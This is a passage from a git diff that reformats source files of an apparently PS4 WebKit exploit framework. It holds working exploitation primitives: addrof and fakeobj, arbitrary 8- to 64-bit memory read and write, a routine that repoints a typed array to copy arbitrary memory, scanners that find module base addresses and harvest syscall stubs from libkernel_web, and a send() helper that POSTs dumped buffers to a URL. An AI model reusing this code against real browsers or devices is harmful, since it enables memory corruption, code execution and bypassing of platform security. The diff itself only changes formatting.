} + if (size < 0) { + throw RangeError("size is negative"); } - // allocate Garbage Collector managed memory. returns [address_of_memory, - // backer]. backer is the JSCell that is keeping the returned memory alive, - // you can drop it once you have another GC object reference the address. - // the backer is an implementation detail. don't use it to mutate the - // memory - gc_alloc(size) { - if (!isInteger(size)) { - throw TypeError('size not a integer'); - } - if (size < 0) { - throw RangeError('size is negative'); - } - - const fastLimit = 1000; - size = (size + 7 & ~7) >> 3; - if (size > fastLimit) { - throw RangeError('size is too large'); - } - - const backer = new Float64Array(size); - return [mem.addrof(backer).readp(view_m_vector), backer]; + const fastLimit = 1000; + size = ((size + 7) & ~7) >> 3; + if (size > fastLimit) { + throw RangeError("size is too large"); } - fakeobj(addr) { - const values = lohi_from_one(addr); - const worker = this._worker; - const main = this._main; + const backer = new Float64Array(size); + return [mem.addrof(backer).readp(view_m_vector), backer]; + } - main[off_vector] = this._fake_low; - main[off_vector2] = this._fake_high; - worker.setUint32(0, values[0], true); - worker.setUint32(4, values[1], true); - return this._obj[0]; + fakeobj(addr) { + const values = lohi_from_one(addr); + const worker = this._worker; + const main = this._main; + + main[off_vector] = this._fake_low; + main[off_vector2] = this._fake_high; + worker.setUint32(0, values[0], true); + worker.setUint32(4, values[1], true); + return this._obj[0]; + } + + addrof(object) { + // typeof considers null as a object. blacklist it as it isn't a + // JSObject + if (object === null || (typeof object !== "object" && typeof object !== "function")) { + throw TypeError("argument not a JS object"); } - addrof(object) { - // typeof considers null as a object. blacklist it as it isn't a - // JSObject - if (object === null - || (typeof object !== 'object' && typeof object !== 'function') - ) { - throw TypeError('argument not a JS object'); - } + const obj = this._obj; + const worker = this._worker; + const main = this._main; - const obj = this._obj; - const worker = this._worker; - const main = this._main; + obj.addr = object; - obj.addr = object; + main[off_vector] = this._addr_low; + main[off_vector2] = this._addr_high; - main[off_vector] = this._addr_low; - main[off_vector2] = this._addr_high; + const res = new Addr(worker.getUint32(0, true), worker.getUint32(4, true)); + obj.addr = null; - const res = new Addr( - worker.getUint32(0, true), - worker.getUint32(4, true), - ); - obj.addr = null; + return res; + } - return res; + // expects addr to be a Int + _set_addr_direct(addr) { + const main = this._main; + main[off_vector] = addr.lo; + main[off_vector2] = addr.hi; + } + + set_addr(addr) { + const values = lohi_from_one(addr); + const main = this._main; + main[off_vector] = values[0]; + main[off_vector2] = values[1]; + } + + get_addr() { + const main = this._main; + return new Addr(main[off_vector], main[off_vector2]); + } + + read8(addr) { + this.set_addr(addr); + return this._worker.getUint8(0); + } + + read16(addr) { + this.set_addr(addr); + return this._worker.getUint16(0, true); + } + + read32(addr) { + this.set_addr(addr); + return this._worker.getUint32(0, true); + } + + read64(addr) { + this.set_addr(addr); + const worker = this._worker; + return new Int(worker.getUint32(0, true), worker.getUint32(4, true)); + } + + // returns a pointer instead of an Int + readp(addr) { + this.set_addr(addr); + const worker = this._worker; + return new Addr(worker.getUint32(0, true), worker.getUint32(4, true)); + } + + read8_at(offset) { + if (!isInteger(offset)) { + throw TypeError("offset not a integer"); } + return this._worker.getUint8(offset); + } - // expects addr to be a Int - _set_addr_direct(addr) { - const main = this._main; - main[off_vector] = addr.lo; - main[off_vector2] = addr.hi; + read16_at(offset) { + if (!isInteger(offset)) { + throw TypeError("offset not a integer"); } + return this._worker.getUint16(offset, true); + } - set_addr(addr) { - const values = lohi_from_one(addr); - const main = this._main; - main[off_vector] = values[0]; - main[off_vector2] = values[1]; + read32_at(offset) { + if (!isInteger(offset)) { + throw TypeError("offset not a integer"); } + return this._worker.getUint32(offset, true); + } - get_addr() { - const main = this._main; - return new Addr(main[off_vector], main[off_vector2]); + read64_at(offset) { + if (!isInteger(offset)) { + throw TypeError("offset not a integer"); } + const worker = this._worker; + return new Int(worker.getUint32(offset, true), worker.getUint32(offset + 4, true)); + } - read8(addr) { - this.set_addr(addr); - return this._worker.getUint8(0); + readp_at(offset) { + if (!isInteger(offset)) { + throw TypeError("offset not a integer"); } + const worker = this._worker; + return new Addr(worker.getUint32(offset, true), worker.getUint32(offset + 4, true)); + } - read16(addr) { - this.set_addr(addr); - return this._worker.getUint16(0, true); - } + write8(addr, value) { + this.set_addr(addr); + this._worker.setUint8(0, value); + } - read32(addr) { - this.set_addr(addr); - return this._worker.getUint32(0, true); - } + write16(addr, value) { + this.set_addr(addr); + this._worker.setUint16(0, value, true); + } - read64(addr) { - this.set_addr(addr); - const worker = this._worker; - return new Int(worker.getUint32(0, true), worker.getUint32(4, true)); - } + write32(addr, value) { + this.set_addr(addr); + this._worker.setUint32(0, value, true); + } - // returns a pointer instead of an Int - readp(addr) { - this.set_addr(addr); - const worker = this._worker; - return new Addr(worker.getUint32(0, true), worker.getUint32(4, true)); - } + write64(addr, value) { + const values = lohi_from_one(value); + this.set_addr(addr); + const worker = this._worker; + worker.setUint32(0, values[0], true); + worker.setUint32(4, values[1], true); + } - read8_at(offset) { - if (!isInteger(offset)) { - throw TypeError('offset not a integer'); - } - return this._worker.getUint8(offset); + write8_at(offset, value) { + if (!isInteger(offset)) { + throw TypeError("offset not a integer"); } + this._worker.setUint8(offset, value); + } - read16_at(offset) { - if (!isInteger(offset)) { - throw TypeError('offset not a integer'); - } - return this._worker.getUint16(offset, true); + write16_at(offset, value) { + if (!isInteger(offset)) { + throw TypeError("offset not a integer"); } + this._worker.setUint16(offset, value, true); + } - read32_at(offset) { - if (!isInteger(offset)) { - throw TypeError('offset not a integer'); - } - return this._worker.getUint32(offset, true); + write32_at(offset, value) { + if (!isInteger(offset)) { + throw TypeError("offset not a integer"); } + this._worker.setUint32(offset, value, true); + } - read64_at(offset) { - if (!isInteger(offset)) { - throw TypeError('offset not a integer'); - } - const worker = this._worker; - return new Int( - worker.getUint32(offset, true), - worker.getUint32(offset + 4, true), - ); - } - - readp_at(offset) { - if (!isInteger(offset)) { - throw TypeError('offset not a integer'); - } - const worker = this._worker; - return new Addr( - worker.getUint32(offset, true), - worker.getUint32(offset + 4, true), - ); - } - - write8(addr, value) { - this.set_addr(addr); - this._worker.setUint8(0, value); - } - - write16(addr, value) { - this.set_addr(addr); - this._worker.setUint16(0, value, true); - } - - write32(addr, value) { - this.set_addr(addr); - this._worker.setUint32(0, value, true); - } - - write64(addr, value) { - const values = lohi_from_one(value); - this.set_addr(addr); - const worker = this._worker; - worker.setUint32(0, values[0], true); - worker.setUint32(4, values[1], true); - } - - write8_at(offset, value) { - if (!isInteger(offset)) { - throw TypeError('offset not a integer'); - } - this._worker.setUint8(offset, value); - } - - write16_at(offset, value) { - if (!isInteger(offset)) { - throw TypeError('offset not a integer'); - } - this._worker.setUint16(offset, value, true); - } - - write32_at(offset, value) { - if (!isInteger(offset)) { - throw TypeError('offset not a integer'); - } - this._worker.setUint32(offset, value, true); - } - - write64_at(offset, value) { - if (!isInteger(offset)) { - throw TypeError('offset not a integer'); - } - const values = lohi_from_one(value); - const worker = this._worker; - worker.setUint32(offset, values[0], true); - worker.setUint32(offset + 4, values[1], true); + write64_at(offset, value) { + if (!isInteger(offset)) { + throw TypeError("offset not a integer"); } + const values = lohi_from_one(value); + const worker = this._worker; + worker.setUint32(offset, values[0], true); + worker.setUint32(offset + 4, values[1], true); + } } diff --git a/src/module/memtools.mjs b/src/module/memtools.mjs index 3445ad2..423cfca 100644 --- a/src/module/memtools.mjs +++ b/src/module/memtools.mjs @@ -17,98 +17,92 @@ along with this program. If not, see . */ // This module are for utilities that depend on running the exploit first -import { Int } from './int64.mjs'; -import { mem } from './mem.mjs'; -import { align } from './utils.mjs'; -import { page_size } from './offset.mjs'; -import { BufferView } from './rw.mjs'; -import { View1 } from './view.mjs'; +import { Int } from "./int64.mjs"; +import { mem } from "./mem.mjs"; +import { align } from "./utils.mjs"; +import { page_size } from "./offset.mjs"; +import { BufferView } from "./rw.mjs"; +import { View1 } from "./view.mjs"; -import * as off from './offset.mjs'; +import * as off from "./offset.mjs"; // creates an ArrayBuffer whose contents is copied from addr export function make_buffer(addr, size) { - // see enum TypedArrayMode from - // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h - // at webkitgtk 2.34.4 - // - // see possiblySharedBuffer() from - // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h - // at webkitgtk 2.34.4 + // see enum TypedArrayMode from + // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h + // at webkitgtk 2.34.4 + // + // see possiblySharedBuffer() from + // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h + // at webkitgtk 2.34.4 - // We will create an OversizeTypedArray via requesting an Uint8Array whose - // number of elements will be greater than fastSizeLimit (1000). - // - // We will not use a FastTypedArray since its m_vector is visited by the - // GC and we will temporarily change it. The GC expects addresses from the - // JS heap, and that heap has metadata that the GC uses. The GC will likely - // crash since valid metadata won't likely be found at arbitrary addresses. - // - // The FastTypedArray approach will have a small time frame where the GC - // can inspect the invalid m_vector field. - // - // Views created via "new TypedArray(x)" where "x" is a number will always - // have an m_mode < WastefulTypedArray. - const u = new Uint8Array(1001); - const u_addr = mem.addrof(u); + // We will create an OversizeTypedArray via requesting an Uint8Array whose + // number of elements will be greater than fastSizeLimit (1000). + // + // We will not use a FastTypedArray since its m_vector is visited by the + // GC and we will temporarily change it. The GC expects addresses from the + // JS heap, and that heap has metadata that the GC uses. The GC will likely + // crash since valid metadata won't likely be found at arbitrary addresses. + // + // The FastTypedArray approach will have a small time frame where the GC + // can inspect the invalid m_vector field. + // + // Views created via "new TypedArray(x)" where "x" is a number will always + // have an m_mode < WastefulTypedArray. + const u = new Uint8Array(1001); + const u_addr = mem.addrof(u); - // we won't change the butterfly and m_mode so we won't save those - const old_addr = u_addr.read64(off.view_m_vector); - const old_size = u_addr.read32(off.view_m_length); + // we won't change the butterfly and m_mode so we won't save those + const old_addr = u_addr.read64(off.view_m_vector); + const old_size = u_addr.read32(off.view_m_length); - u_addr.write64(off.view_m_vector, addr); - u_addr.write32(off.view_m_length, size); + u_addr.write64(off.view_m_vector, addr); + u_addr.write32(off.view_m_length, size); - const copy = new Uint8Array(u.length); - copy.set(u); + const copy = new Uint8Array(u.length); + copy.set(u); - // Views with m_mode < WastefulTypedArray don't have an ArrayBuffer object - // associated with them, if we ask for view.buffer, the view will be - // converted into a WastefulTypedArray and an ArrayBuffer will be created. - // This is done by calling slowDownAndWasteMemory(). - // - // We can't use slowDownAndWasteMemory() on u since that will create a - // JSC::ArrayBufferContents with its m_data pointing to addr. On the - // ArrayBuffer's death, it will call WTF::fastFree() on m_data. This can - // cause a crash if the m_data is not from the fastMalloc heap, and even if - // it is, freeing abitrary addresses is dangerous as it may lead to a - // use-after-free. - const res = copy.buffer; + // Views with m_mode < WastefulTypedArray don't have an ArrayBuffer object + // associated with them, if we ask for view.buffer, the view will be + // converted into a WastefulTypedArray and an ArrayBuffer will be created. + // This is done by calling slowDownAndWasteMemory(). + // + // We can't use slowDownAndWasteMemory() on u since that will create a + // JSC::ArrayBufferContents with its m_data pointing to addr. On the + // ArrayBuffer's death, it will call WTF::fastFree() on m_data. This can + // cause a crash if the m_data is not from the fastMalloc heap, and even if + // it is, freeing abitrary addresses is dangerous as it may lead to a + // use-after-free. + const res = copy.buffer; - // restore - u_addr.write64(off.view_m_vector, old_addr); - u_addr.write32(off.view_m_length, old_size); + // restore + u_addr.write64(off.view_m_vector, old_addr); + u_addr.write32(off.view_m_length, old_size); - return res; + return res; } // these values came from analyzing dumps from CelesteBlue function check_magic_at(p, is_text) { - // byte sequence that is very likely to appear at offset 0 of a .text - // segment - const text_magic = [ - new Int(0xe5894855, 0x56415741), - new Int(0x54415541, 0x8d485053), - ]; + // byte sequence that is very likely to appear at offset 0 of a .text + // segment + const text_magic = [new Int(0xe5894855, 0x56415741), new Int(0x54415541, 0x8d485053)]; - // the .data "magic" is just a portion of the PT_SCE_MODULE_PARAM segment + // the .data "magic" is just a portion of the PT_SCE_MODULE_PARAM segment - // .data magic from 3.00, 6.00, and 6.20 - //const data_magic = [ - // new Int(0x18), - // new Int(0x3c13f4bf, 0x1), - //]; + // .data magic from 3.00, 6.00, and 6.20 + //const data_magic = [ + // new Int(0x18), + // new Int(0x3c13f4bf, 0x1), + //]; - // .data magic from 8.00 and 8.03 - const data_magic = [ - new Int(0x20), - new Int(0x3c13f4bf, 0x2), - ]; + // .data magic from 8.00 and 8.03 + const data_magic = [new Int(0x20), new Int(0x3c13f4bf, 0x2)]; - const magic = is_text ? text_magic : data_magic; - const value = [p.read64(0), p.read64(8)]; + const magic = is_text ? text_magic : data_magic; + const value = [p.read64(0), p.read64(8)]; - return value[0].eq(magic[0]) && value[1].eq(magic[1]); + return value[0].eq(magic[0]) && value[1].eq(magic[1]); } // Finds the base address of a segment: .text or .data @@ -137,120 +131,96 @@ function check_magic_at(p, is_text) { // addr.read8(-1); // export function find_base(addr, is_text, is_back) { - // align to page size - addr = align(addr, page_size); - const offset = (is_back ? -1 : 1) * page_size; - while (true) { - if (check_magic_at(addr, is_text)) { - break; - } - addr = addr.add(offset); + // align to page size + addr = align(addr, page_size); + const offset = (is_back ? -1 : 1) * page_size; + while (true) { + if (check_magic_at(addr, is_text)) { + break; } - return addr; + addr = addr.add(offset); + } + return addr; } // gets the address of the underlying buffer of a JSC::JSArrayBufferView export function get_view_vector(view) { - if (!ArrayBuffer.isView(view)) { - throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`); - } - return mem.addrof(view).readp(off.view_m_vector); + if (!ArrayBuffer.isView(view)) { + throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`); + } + return mem.addrof(view).readp(off.view_m_vector); } export function resolve_import(import_addr) { - if (import_addr.read16(0) !== 0x25ff) { - throw Error( - `instruction at ${import_addr} is not of the form: jmp qword` - + ' [rip + X]'); - } - // module_function_import: - // jmp qword [rip + X] - // ff 25 xx xx xx xx // signed 32-bit displacement - const disp = import_addr.read32(2); - // assume disp and offset are 32-bit integers - // x | 0 will always be a signed integer - const offset = (disp | 0) + 6; - // The rIP value used by "jmp [rip + X]" instructions is actually the rIP - // of the next instruction. This means that the actual address used is - // [rip + X + sizeof(jmp_insn)], where sizeof(jmp_insn) is the size of the - // jump instruction, which is 6 in this case. - const function_addr = import_addr.readp(offset); + if (import_addr.read16(0) !== 0x25ff) { + throw Error(`instruction at ${import_addr} is not of the form: jmp qword [rip + X]`); + } + // module_function_import: + // jmp qword [rip + X] + // ff 25 xx xx xx xx // signed 32-bit displacement + const disp = import_addr.read32(2); + // assume disp and offset are 32-bit integers + // x | 0 will always be a signed integer + const offset = (disp | 0) + 6; + // The rIP value used by "jmp [rip + X]" instructions is actually the rIP + // of the next instruction. This means that the actual address used is + // [rip + X + sizeof(jmp_insn)], where sizeof(jmp_insn) is the size of the + // jump instruction, which is 6 in this case. + const function_addr = import_addr.readp(offset); - return function_addr; + return function_addr; } -export function init_syscall_array( - syscall_array, - libkernel_web_base, - max_search_size, -) { - if (!Number.isInteger(max_search_size)) { - throw TypeError( - `max_search_size is not a integer: ${max_search_size}`); - } - if (max_search_size < 0) { - throw Error(`max_search_size is less than 0: ${max_search_size}`); - } +export function init_syscall_array(syscall_array, libkernel_web_base, max_search_size) { + if (!Number.isInteger(max_search_size)) { + throw TypeError(`max_search_size is not a integer: ${max_search_size}`); + } + if (max_search_size < 0) { + throw Error(`max_search_size is less than 0: ${max_search_size}`); + } - const libkernel_web_buffer = make_buffer( - libkernel_web_base, - max_search_size, - ); - const kbuf = new BufferView(libkernel_web_buffer); + const libkernel_web_buffer = make_buffer(libkernel_web_base, max_search_size); + const kbuf = new BufferView(libkernel_web_buffer); - // Search 'rdlo' string from libkernel_web's .rodata section to gain an - // upper bound on the size of the .text section. - let text_size = 0; - let found = false; - for (let i = 0; i < max_search_size; i++) { - if (kbuf[i] === 0x72 - && kbuf[i + 1] === 0x64 - && kbuf[i + 2] === 0x6c - && kbuf[i + 3] === 0x6f - ) { - text_size = i; - found = true; - break; - } - } - if (!found) { - throw Error( - '"rdlo" string not found in libkernel_web, base address:' - + ` ${libkernel_web_base}`); + // Search 'rdlo' string from libkernel_web's .rodata section to gain an + // upper bound on the size of the .text section. + let text_size = 0; + let found = false; + for (let i = 0; i < max_search_size; i++) { + if (kbuf[i] === 0x72 && kbuf[i + 1] === 0x64 && kbuf[i + 2] === 0x6c && kbuf[i + 3] === 0x6f) { + text_size = i; + found = true; + break; } + } + if (!found) { + throw Error(`"rdlo" string not found in libkernel_web, base address: ${libkernel_web_base}`); + } - // search for the instruction sequence: - // syscall_X: - // mov rax, X - // mov r10, rcx - // syscall - for (let i = 0; i < text_size; i++) { - if (kbuf[i] === 0x48 - && kbuf[i + 1] === 0xc7 - && kbuf[i + 2] === 0xc0 - && kbuf[i + 7] === 0x49 - && kbuf[i + 8] === 0x89 - && kbuf[i + 9] === 0xca - && kbuf[i + 10] === 0x0f - && kbuf[i + 11] === 0x05 - ) { - const syscall_num = kbuf.read32(i + 3); - syscall_array[syscall_num] = libkernel_web_base.add(i); - // skip the sequence - i += 11; - } + // search for the instruction sequence: + // syscall_X: + // mov rax, X + // mov r10, rcx + // syscall + for (let i = 0; i < text_size; i++) { + if (kbuf[i] === 0x48 && kbuf[i + 1] === 0xc7 && kbuf[i + 2] === 0xc0 && kbuf[i + 7] === 0x49 && kbuf[i + 8] === 0x89 && kbuf[i + 9] === 0xca && kbuf[i + 10] === 0x0f && kbuf[i + 11] === 0x05) { + const syscall_num = kbuf.read32(i + 3); + syscall_array[syscall_num] = libkernel_web_base.add(i); + // skip the sequence + i += 11; } + } } // create a char array like in the C language // // string to view since it's easier to get the address of the buffer this way export function cstr(str) { - str += '\0'; - return View1.from(str, c => c.codePointAt(0)); + str += "\0"; + return View1.from(str, (c) => c.codePointAt(0)); } // we are re-exporting this since users that want to use cstr() usually want // jstr() as well. they are likely working with functions that take/return // strings -export { jstr } from './utils.mjs'; +export { jstr } from "./utils.mjs"; diff --git a/src/module/rw.mjs b/src/module/rw.mjs index 2075817..353a5f7 100644 --- a/src/module/rw.mjs +++ b/src/module/rw.mjs @@ -15,7 +15,7 @@ GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see . */ -import { Int, lohi_from_one } from './int64.mjs'; +import { Int, lohi_from_one } from "./int64.mjs"; // DataView's accessors are constant time and are faster when doing multi-byte // accesses but the single-byte accessors are slightly slower compared to just @@ -27,39 +27,36 @@ import { Int, lohi_from_one } from './int64.mjs'; // instances of BufferView will their have m_mode set to WastefulTypedArray // since we use the .buffer getter to create a DataView export class BufferView extends Uint8Array { - constructor(...args) { - super(...args); - this._dview = new DataView(this.buffer, this.byteOffset); - } + constructor(...args) { + super(...args); + this._dview = new DataView(this.buffer, this.byteOffset); + } - read16(offset) { - return this._dview.getUint16(offset, true); - } + read16(offset) { + return this._dview.getUint16(offset, true); + } - read32(offset) { - return this._dview.getUint32(offset, true); - } + read32(offset) { + return this._dview.getUint32(offset, true); + } - read64(offset) { - return new Int( - this._dview.getUint32(offset, true), - this._dview.getUint32(offset + 4, true), - ); - } + read64(offset) { + return new Int(this._dview.getUint32(offset, true), this._dview.getUint32(offset + 4, true)); + } - write16(offset, value) { - this._dview.setUint16(offset, value, true); - } + write16(offset, value) { + this._dview.setUint16(offset, value, true); + } - write32(offset, value) { - this._dview.setUint32(offset, value, true); - } + write32(offset, value) { + this._dview.setUint32(offset, value, true); + } - write64(offset, value) { - const values = lohi_from_one(value); - this._dview.setUint32(offset, values[0], true); - this._dview.setUint32(offset + 4, values[1], true); - } + write64(offset, value) { + const values = lohi_from_one(value); + this._dview.setUint32(offset, values[0], true); + this._dview.setUint32(offset + 4, values[1], true); + } } // WARNING: These functions are now deprecated. use BufferView instead. @@ -88,53 +85,53 @@ export class BufferView extends Uint8Array { // for reads less than 8 bytes function read(u8_view, offset, size) { - let res = 0; - for (let i = 0; i < size; i++) { - res += u8_view[offset + i] << i*8; - } - // << returns a signed integer, >>> converts it to unsigned - return res >>> 0; + let res = 0; + for (let i = 0; i < size; i++) { + res += u8_view[offset + i] << (i * 8); + } + // << returns a signed integer, >>> converts it to unsigned + return res >>> 0; } export function read16(u8_view, offset) { - return read(u8_view, offset, 2); + return read(u8_view, offset, 2); } export function read32(u8_view, offset) { - return read(u8_view, offset, 4); + return read(u8_view, offset, 4); } export function read64(u8_view, offset) { - return new Int(read32(u8_view, offset), read32(u8_view, offset + 4)); + return new Int(read32(u8_view, offset), read32(u8_view, offset + 4)); } // for writes less than 8 bytes function write(u8_view, offset, value, size) { - for (let i = 0; i < size; i++) { - u8_view[offset + i] = (value >>> i*8) & 0xff; - } + for (let i = 0; i < size; i++) { + u8_view[offset + i] = (value >>> (i * 8)) & 0xff; + } } export function write16(u8_view, offset, value) { - write(u8_view, offset, value, 2); + write(u8_view, offset, value, 2); } export function write32(u8_view, offset, value) { - write(u8_view, offset, value, 4); + write(u8_view, offset, value, 4); } export function write64(u8_view, offset, value) { - if (!(value instanceof Int)) { - throw TypeError('write64 value must be an Int'); - } + if (!(value instanceof Int)) { + throw TypeError("write64 value must be an Int"); + } - let low = value.lo; - let high = value.hi; + let low = value.lo; + let high = value.hi; - for (let i = 0; i < 4; i++) { - u8_view[offset + i] = (low >>> i*8) & 0xff; - } - for (let i = 0; i < 4; i++) { - u8_view[offset + 4 + i] = (high >>> i*8) & 0xff; - } + for (let i = 0; i < 4; i++) { + u8_view[offset + i] = (low >>> (i * 8)) & 0xff; + } + for (let i = 0; i < 4; i++) { + u8_view[offset + 4 + i] = (high >>> (i * 8)) & 0xff; + } } diff --git a/src/module/utils.mjs b/src/module/utils.mjs index 7c20ef1..cf4a031 100644 --- a/src/module/utils.mjs +++ b/src/module/utils.mjs @@ -15,158 +15,150 @@ GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see . */ -import { Int } from './int64.mjs'; +import { Int } from "./int64.mjs"; export class DieError extends Error { - constructor(...args) { - super(...args); - this.name = this.constructor.name; - } + constructor(...args) { + super(...args); + this.name = this.constructor.name; + } } -export function die(msg='') { - throw new DieError(msg); +export function die(msg = "") { + throw new DieError(msg); } -const console = document.getElementById('console'); -export function log(msg='') { - console.append(msg + '\n'); +const console = document.getElementById("console"); +export function log(msg = "") { + console.append(`${msg}\n`); } export function clear_log() { - console.innerHTML = null; + console.innerHTML = null; } // alignment must be 32 bits and is a power of 2 export function align(a, alignment) { - if (!(a instanceof Int)) { - a = new Int(a); - } - const mask = -alignment & 0xffffffff; - let type = a.constructor; - let low = a.lo & mask; - return new type(low, a.hi); + if (!(a instanceof Int)) { + a = new Int(a); + } + const mask = -alignment & 0xffffffff; + let type = a.constructor; + let low = a.lo & mask; + return new type(low, a.hi); } -export async function send(url, buffer, file_name, onload=() => {}) { - const file = new File( - [buffer], - file_name, - {type:'application/octet-stream'} - ); - const form = new FormData(); - form.append('upload', file); +export async function send(url, buffer, file_name, onload = () => {}) { + const file = new File([buffer], file_name, { type: "application/octet-stream" }); + const form = new FormData(); + form.append("upload", file); - log('send'); - const response = await fetch(url, {method: 'POST', body: form}); + log("send"); + const response = await fetch(url, { method: "POST", body: form }); - if (!response.ok) { - throw Error(`Network response was not OK, status: ${response.status}`); - } - onload(); + if (!response.ok) { + throw Error(`Network response was not OK, status: ${response.status}`); + } + onload(); } // mostly used to yield to the GC. marking is concurrent but collection isn't // // yielding also lets the DOM update. which is useful since we use the DOM for // logging and we loop when waiting for a collection to occur -export function sleep(ms=0) { - return new Promise(resolve => setTimeout(resolve, ms)); +export function sleep(ms = 0) { + return new Promise((resolve) => setTimeout(resolve, ms)); } export function hex(number) { - return '0x' + number.toString(16); + return `0x${number.toString(16)}`; } // no "0x" prefix export function hex_np(number) { - return number.toString(16); + return number.toString(16); } // expects a byte array export function hexdump(view) { - const num_16 = view.length & ~15; - const residue = view.length - num_16; - const max_off_len = hex_np(((view.length + 7) & ~7) - 1).length; + const num_16 = view.length & ~15; + const residue = view.length - num_16; + const max_off_len = hex_np(((view.length + 7) & ~7) - 1).length; - function chr(i) { - if (0x20 <= i && i <= 0x7e) { - return String.fromCodePoint(i); - } - return '.'; + function chr(i) { + if (0x20 <= i && i <= 0x7e) { + return String.fromCodePoint(i); + } + return "."; + } + + function to_hex(view, offset, length) { + return [...view.slice(offset, offset + length)].map((e) => hex_np(e).padStart(2, "0")).join(" "); + } + + let bytes = []; + for (let i = 0; i < num_16; i += 16) { + const long1 = to_hex(view, i, 8); + const long2 = to_hex(view, i + 8, 8); + + let print = ""; + for (let j = 0; j < 16; j++) { + print += chr(view[j]); } - function to_hex(view, offset, length) { - return ( - [...view.slice(offset, offset + length)] - .map(e => hex_np(e).padStart(2, '0')) - .join(' ') - ); + bytes.push([`${long1} ${long2}`, print]); + } + + if (residue) { + const small = residue <= 8; + const long1_len = small ? residue : 8; + + let long1 = to_hex(view, num_16, long1_len); + if (small) { + for (let i = 0; i < 8 - residue; i++) { + long1 += " xx"; + } } - let bytes = []; - for (let i = 0; i < num_16; i += 16) { - const long1 = to_hex(view, i, 8); - const long2 = to_hex(view, i + 8, 8); + const long2 = (() => { + if (small) { + return Array(8).fill("xx").join(" "); + } - let print = ''; - for (let j = 0; j < 16; j++) { - print += chr(view[j]); - } + let res = to_hex(view, num_16 + 8, residue - 8); + for (let i = 0; i < 16 - residue; i++) { + res += " xx"; + } - bytes.push([`${long1} ${long2}`, print]); + return res; + })(); + + let print = ""; + for (let i = 0; i < residue; i++) { + print += chr(view[num_16 + i]); + } + for (let i = 0; i < 16 - residue; i++) { + print += " "; } - if (residue) { - const small = residue <= 8; - const long1_len = small ? residue : 8; + bytes.push([`${long1} ${long2}`, print]); + } - let long1 = to_hex(view, num_16, long1_len); - if (small) { - for (let i = 0; i < 8 - residue; i++) { - long1 += ' xx'; - } - } - - const long2 = (() => { - if (small) { - return Array(8).fill('xx').join(' '); - } - - let res = to_hex(view, num_16 + 8, residue - 8); - for (let i = 0; i < 16 - residue; i++) { - res += ' xx'; - } - - return res; - })(); - - let print = ''; - for (let i = 0; i < residue; i++) { - print += chr(view[num_16 + i]); - } - for (let i = 0; i < 16 - residue; i++) { - print += ' '; - } - - bytes.push([`${long1} ${long2}`, print]); - } - - for (const [pos, [val, print]] of bytes.entries()) { - const off = hex_np(pos * 16).padStart(max_off_len, '0'); - log(`${off} | ${val} |${print}|`); - } + for (const [pos, [val, print]] of bytes.entries()) { + const off = hex_np(pos * 16).padStart(max_off_len, "0"); + log(`${off} | ${val} |${print}|`); + } } // make a JavaScript string export function jstr(buffer) { - let res = ''; - for (const item of buffer) { - if (item === 0) { - break; - } - res += String.fromCodePoint(item); + let res = ""; + for (const item of buffer) { + if (item === 0) { + break; } - // convert to primitive string - return String(res); + res += String.fromCodePoint(item); + } + // convert to primitive string + return String(res); } diff --git a/src/module/view.mjs b/src/module/view.mjs index ca79182..6dc1000 100644 --- a/src/module/view.mjs +++ b/src/module/view.mjs @@ -15,12 +15,12 @@ GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see . */ -import { Int, lohi_from_one } from './int64.mjs'; -import { Addr } from './mem.mjs'; -import { BufferView } from './rw.mjs'; +import { Int, lohi_from_one } from "./int64.mjs"; +import { Addr } from "./mem.mjs"; +import { BufferView } from "./rw.mjs"; -import * as config from '../config.mjs'; -import * as mt from './memtools.mjs'; +import * as config from "../config.mjs"; +import * as mt from "./memtools.mjs"; // View constructors will always get the buffer property in order to make sure // that the JSArrayBufferView is a WastefulTypedArray. m_vector may change if @@ -36,61 +36,61 @@ import * as mt from './memtools.mjs'; // get_view_vector() still works on them. function ViewMixin(superclass) { - const res = class extends superclass { - constructor(...args) { - super(...args); - this.buffer; - } - - get addr() { - let res = this._addr_cache; - if (res !== undefined) { - return res; - } - res = mt.get_view_vector(this); - this._addr_cache = res; - return res; - } - - get size() { - return this.byteLength; - } - - addr_at(index) { - const size = this.BYTES_PER_ELEMENT; - return this.addr.add(index * size); - } - - sget(index) { - return this[index] | 0; - } - }; - - // workaround for known affected versions: ps4 [6.00, 10.00) - // - // see from() and of() from - // WebKit/Source/JavaScriptCore/builtins/TypedArrayConstructor.js at PS4 - // 8.0x - // - // @getByIdDirectPrivate(this, "allocateTypedArray") will fail when "this" - // isn't one of the built-in TypedArrays. this is a violation of the - // ECMAScript spec at that time - // - // TODO: Assumes PS4, support PS5 as well - // FIXME: Define the from/of workaround functions once - if (0x600 <= config.target && config.target < 0x1000) { - res.from = function from(...args) { - const base = this.__proto__; - return new this(base.from(...args).buffer); - }; - - res.of = function of(...args) { - const base = this.__proto__; - return new this(base.of(...args).buffer); - }; + const res = class extends superclass { + constructor(...args) { + super(...args); + this.buffer; } - return res; + get addr() { + let res = this._addr_cache; + if (res !== undefined) { + return res; + } + res = mt.get_view_vector(this); + this._addr_cache = res; + return res; + } + + get size() { + return this.byteLength; + } + + addr_at(index) { + const size = this.BYTES_PER_ELEMENT; + return this.addr.add(index * size); + } + + sget(index) { + return this[index] | 0; + } + }; + + // workaround for known affected versions: ps4 [6.00, 10.00) + // + // see from() and of() from + // WebKit/Source/JavaScriptCore/builtins/TypedArrayConstructor.js at PS4 + // 8.0x + // + // @getByIdDirectPrivate(this, "allocateTypedArray") will fail when "this" + // isn't one of the built-in TypedArrays. this is a violation of the + // ECMAScript spec at that time + // + // TODO: Assumes PS4, support PS5 as well + // FIXME: Define the from/of workaround functions once + if (0x600 <= config.target && config.target < 0x1000) { + res.from = function from(...args) { + const base = this.__proto__; + return new this(base.from(...args).buffer); + }; + + res.of = function of(...args) { + const base = this.__proto__; + return new this(base.of(...args).buffer); + }; + } + + return res; } export class View1 extends ViewMixin(Uint8Array) {} @@ -98,58 +98,59 @@ export class View2 extends ViewMixin(Uint16Array) {} export class View4 extends ViewMixin(Uint32Array) {} export class Buffer extends BufferView { - get addr() 